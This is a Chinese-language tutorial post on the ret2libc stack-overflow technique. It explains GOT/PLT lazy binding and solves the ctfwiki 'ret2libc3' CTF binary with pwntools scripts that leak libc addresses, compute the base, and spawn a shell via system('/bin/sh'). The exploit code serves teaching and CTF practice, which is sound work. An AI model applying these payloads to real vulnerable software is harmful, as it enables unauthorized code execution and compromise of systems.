服务粉丝

我们一直在努力
当前位置:首页 > 财经 >

Pwn入门之ret2libc详解

日期: 来源:Tide安全团队收集编辑:ShadowCui


前言

之前曾在Pwn入门之基础栈溢出里面曾经提过ret2libc的相关知识,但是写的比较笼统,感觉对新手还是不够友好,想通过本文对ret2libc的原理和利用进行详细讲解。

前置知识

GOT表和PLT表

got表也叫全局偏移表(Global Offset Table)是Linux ELF文件中用于定位全局变量和函数的一个表。

plt表也叫过程链接表(Procedure Linkage Table)是Linux ELF文件中用于延迟绑定的表恶,即函数第一次被调用的时候才进行绑定。

在程序运行过程中,plt表和got表的运行过程大致如下:

用一句话来总结就是,可执行文件里保存的是plt表的地址,对应plt地址指向的是got的地址,got表指向的是glibc中的地址

在这里如果需要通过plt表获取函数的地址,需要保证got表已经获取了正确的地址,但如果一开始对所有函数都进行了重定位是比较麻烦且浪费资源,为此,Linux引入了延迟绑定机制。

延迟绑定

这种机制存在的目的是glibc为了节约系统资源,提高性能。其详细过程如下

源程序在第一次调用一个函数时,首先去

如果存在一个tide函数,这个函数在plt中的条目为tide@plt,在got中的条目为tide@got,那么在第一次调用bar函数时,首先会跳转到plt,伪代码如下:

tide@plt;
jmp tide@got
patch tide@got

这里会从PLT跳到GOT,如果函数从来没有调用过,那这时GOT会跳转回PLT并调用patch tide@got,这行代码的作用是将bar函数真正的地址填充到tide@got,然后跳转到bar函数真正的地址执行代码。当下次再次调用bar函数的时候,执行路径就是先跳转到tide@plt、tide@got、tide真正的地址。

简而言之就是,当一个函数被调用过后,got表里保存了他在内存中的地址,可以通过泄漏got表内存来泄漏函数地址,然后可以根据起泄漏的函数地址获得其libc版本,从而计算其他函数在内存空间中的地址。因为libc中任意两个函数之间的偏移是固定的。

以计算system函数在内存空间中的函数地址举例。

  1. 1. 获取__libc_start_main函数在内存空间中的地址addr_main
  2. 2. __libc_start_main函数相对于libc.so.6的起始地址是addr_main_offset
  3. 3. system函数相对于libc.so.6的起始地址是addr_system_offset
  4. 4. 则system函数在内存中真正的地址为addr_main+addr_system_offset-addr_main_offset
在我们ret2libc中我们只需要理解为,只有执行过的函数,我们才能通过got表泄漏其地址。

基本思路

ret2libc是控制函数执行libc中的函数,通常是返回至某个函数的plt处。一般情况下,会选择执行system('/bin/sh'),因此需要找到system函数的地址
看到这里相信有的师傅就会问了,为什么不能直接跳到got表,通过前面的前置知识我们知道plt表中的地址对应的是指令,got表中的地址对应的是指令地址,而返回地址必须保存一段有效的汇编指令,所以必须要用plt表
ret2libc通常可以分为下面几种类型:
  • • 程序中自身包含system函数和"/bin/sh"字符串
  • • 程序中自身就有system函数,但是没有"/bin/sh"字符串
  • • 程序中自身没有syetem函数和"/bin/sh"字符串,但给出了libc.so文件
  • • 程序中自身没有sysetm函数和"/bin/sh"字符串,并且没有给出libc.so文件
针对前面那三种在前面的文章中已经进行过详细讲解,本文主要是针对第四种情况进行讲解
对于没有给出libc.so文件的程序,我们可以通过泄漏出程序当中的某个函数的地址,通过查询来找出其中使用lib.so版本是哪一个,然后根据lib.so的版本去找到我们需要的system函数的地址。
针对常见的题目我们的解题思路是这样的:
  1. 1. 利用栈溢出及puts函数泄漏出在got表中__libc_start_main函数的地址
  2. 2. puts函数的返回地址为_start函数
  3. 3. 利用最低的12位找出libc版本(即使程序有ASLR保护,也只是针对地址中间位进行随机,最低的12位并不会发生改变)
  4. 4. 利用找到的libc版本计算system函数和/bin/sh字符串在内存中的正确的地址

实战

我们还是利用ctfwiki中的ret2libc3进行讲解
分析程序
根据前面分析的,我们需要找到如下几个地址
  • • __libc_start_main函数在got表的地址
  • • _start函数的地址
  • • puts函数在plt表中的地址
__libc_start_main函数在got表中的地址
_start函数的地址
puts函数在plt表中的地址
获取到这三个地址后,我们可以采用调用puts函数后,retmain函数,用main函数里面的gets来获取libc_start的地址
获取libc_start地址的脚本如下
from pwn import *
sh = process('./ret2libc3')
puts_plt = 0x8048460
addr_start = 0x80484d0
got_libc_start = 0x804a024
payload = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_libc_start)
sh.recv()
sh.sendline(payload)
puts_addr = u32(sh.recv(4))
success("__libc_start_addr is:" + hex(puts_addr))
sh.recv()
即使程序有ASLR保护,也只是针对地址中间位进行随机,最低的12位并不会发生改变,在16进制中也就是我们的最后3位,因此cd0是不会变,使用libc database search(https://libc.blukat.me/)进行查询(网上普遍推荐的是利用LibcSearcher,但是我用LibcSearcher一直没打通)
看到这么多libc版本挨个试可能会累死,于是再来泄漏个puts的地址
from pwn import *

sh = process('./ret2libc3')
puts_plt = 0x8048460
addr_start = 0x80484d0
got_libc_start = 0x804a024
got_puts = 0x804a018

# 获取__libc_start的地址
payload1 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_libc_start)
sh.recv()
sh.sendline(payload1)
libc_start_addr = u32(sh.recv(4))
success("__libc_start_addr is:" + hex(libc_start_addr))
# 获取puts的地址
payload2 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_puts)
sh.recv()
sh.sendline(payload2)
puts_addr = u32(sh.recv(4))
success("puts_addr is:" + hex(puts_addr))
还剩下三个了,使用下面的脚本挨个尝试吧
from pwn import *

sh = process('./ret2libc3')
puts_plt = 0x8048460
addr_start = 0x80484d0
got_libc_start = 0x804a024
got_puts = 0x804a018

# 获取__libc_start的地址
payload1 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_libc_start)
sh.recv()
sh.sendline(payload1)
libc_start_addr = u32(sh.recv(4))
success("__libc_start_addr is:" + hex(libc_start_addr))
# 获取puts的地址
payload2 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_puts)
sh.recv()
sh.sendline(payload2)
puts_addr = u32(sh.recv(4))
success("puts_addr is:" + hex(puts_addr))
sh.recv()

libc_start = #通过libc database search获取
libc_system = #通过libc database search获取
libc_binsh = #通过libc database search获取

libcbase = libc_start_addr - libc_start
system_addr = libcbase + libc_system
binsh_addr = libcbase + libc_binsh

payload = 112 * b'a' + p32(system_addr) + 4 * b'a' + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()
最终经过多次实验可知,libc文件是libc6_2.31-0ubuntu9_i386
最终的完整脚本如下
from pwn import *

sh = process('./ret2libc3')
puts_plt = 0x8048460
addr_start = 0x80484d0
got_libc_start = 0x804a024
got_puts = 0x804a018

# 获取__libc_start的地址
payload1 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_libc_start)
sh.recv()
sh.sendline(payload1)
libc_start_addr = u32(sh.recv(4))
success("__libc_start_addr is:" + hex(libc_start_addr))
# 获取puts的地址
payload2 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_puts)
sh.recv()
sh.sendline(payload2)
puts_addr = u32(sh.recv(4))
success("puts_addr is:" + hex(puts_addr))
sh.recv()

libc_start = 0x01edf0
libc_system = 0x045830
libc_binsh = 0x192352

libcbase = libc_start_addr - libc_start
system_addr = libcbase + libc_system
binsh_addr = libcbase + libc_binsh

payload = 112 * b'a' + p32(system_addr) + 4 * b'a' + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()
成功打通

总结

ret2libc这种题型,相较于前面简单的题目,对Linux中程序运行的理解要求更高,一开始根据网上的教程去寻找libc版本的时候发现大多数教程都是使用脚本去获取,但在自己尝试的时候就一直打不通,于是便放弃了脚本采用手工的方式进行查找,可能相较于通过脚本直接获取更加费时费力,但是也通过这个倒逼自己将got表和plt表的相关知识彻底理解透彻,也捋清楚了程序在Linux中到底是如何运行的。
参考链接:
https://www.yuque.com/hxfqg9/bin/ug9gx5#qQDLq
https://introspelliam.github.io/2017/08/03/pwn/got%E3%80%81plt%E8%A1%A8%E4%BB%8B%E7%BB%8D/
https://blog.csdn.net/AcSuccess/article/details/104335514

往期推荐

敏感信息泄露

潮影在线免杀平台上线了

自动化渗透测试工具开发实践

【红蓝对抗】利用CS进行内网横向

一个Go版(更强大)的TideFinger

SRC资产导航监测平台Tsrc上线了

新潮信息-Tide安全团队2022年度总结

记一次实战攻防(打点-Edr-内网-横向-Vcenter)

E

N

D


知识星球产品及服务

团队内部平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......


星球分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享


星球知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......


星球网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

扫码加入一起学习吧~

相关阅读

  • 验证码缺失/绕过

  • 0x01 等保测评项GBT 22239-2019《信息安全技术 网络安全等级保护基本要求》中,8.1.4.4安全计算环境—入侵防范项中要求包括:a)应遵循最小安装的原则,仅安装需要的组件和应用程序
  • 延期了!长子这些人要注意!

  • 考生们注意,2022年下半年全国大学英语四、六级笔试(延考)将于2023年3月12日举行,为确保考试平安顺利进行,现提示广大考生注意以下事项:一、做好考前准备工作(一)3月1日10:00起,考生可
  • 一次失败的SQL注入经历

  • 目录一次失败的SQL注入经历0x00 前言0x01 WAF识别0x02 篇章: Bypassed 0x2.1 漏洞证明 0x2.2 无限制注入0x03 后续:无疾而终0x04 总结某天,聚合扫描器推送了一份SQL注入的漏
  • PHP代码审计-某cms逻辑漏洞导致getshell

  • 前言 如果存在exec进行拼接的漏洞,该如何绕过 <mark>一黑俩匹配 </mark>?当前如果是拼接和编码这种手法就不说了,现在在看的师傅您是审计大牛的话,这文章可以忽略不看。黑名单..
  • “干净”的代码,贼差的性能

  • 作者 | Casey Muratori
    译者| 核子可乐
    策划| 褚杏娟
    如今很多机构里传授的所谓编程“最佳实践”,压根就是随时可能爆炸的性能灾难。 很多程序员还是一个“小萌新”时
  • 男人最放不下的,不是初恋,而是这种女人!

  • 有人问过一个问题:选择伴侣时你最看重什么?高赞答案是:能提供情绪价值,情商高的人。的确,仔细想想,生活中,情商高的女人确实比一般人更有优势:感情中:两口子怎么也吵不起来,老公对她们
  • 【ES6 教程】第五章 JavaScript 箭头函数简介

  • 英文 | https://www.javascripttutorial.net翻译 | 杨小爱在今天的教程中,我们将一起来学习如何使用 JavaScript 箭头函数为函数表达式编写更简洁的代码。JavaScript 箭头函

热门文章

  • “复活”半年后 京东拍拍二手杀入公益事业

  • 京东拍拍二手“复活”半年后,杀入公益事业,试图让企业捐的赠品、家庭闲置品变成实实在在的“爱心”。 把“闲置品”变爱心 6月12日,“益心一益·守护梦想每一步”2018年四

最新文章

  • Pwn入门之ret2libc详解

  • 前言之前曾在Pwn入门之基础栈溢出里面曾经提过ret2libc的相关知识,但是写的比较笼统,感觉对新手还是不够友好,想通过本文对ret2libc的原理和利用进行详细讲解。前置知识GOT表和
  • 验证码缺失/绕过

  • 0x01 等保测评项GBT 22239-2019《信息安全技术 网络安全等级保护基本要求》中,8.1.4.4安全计算环境—入侵防范项中要求包括:a)应遵循最小安装的原则,仅安装需要的组件和应用程序
  • 山东省移动应用二月份安全态势

  • 一、基本概况基于移动应用APP安全状况的脆弱性以及攻击威胁的严重性,我国开始重视移动应用的安全问题,并将其上升到国家战略的高度,相关的主管部门正积极的开展移动应用APP安全
  • 浅析美军“雷霆穹顶”零信任项目

  • 2023 年 2 月 15 日,美国国防信息系统局(DISA)宣布 Booz Allen Hamilton 公司完成了零信任项目“雷霆穹顶”(Thunderdome)的原型设计,美国国防部、DISA 各总部和 DISA 战地司令部
  • 基于 TrustZone 的系统安全防护技术研究综述

  • 摘 要:嵌入式应用系统在互联网时代得到了蓬勃发展,但是网络应用安全问题也随之而来。TrustZone 技术是 ARM 公司在此场景下特意为电子消费产品构建的一个能够抵御各种可能的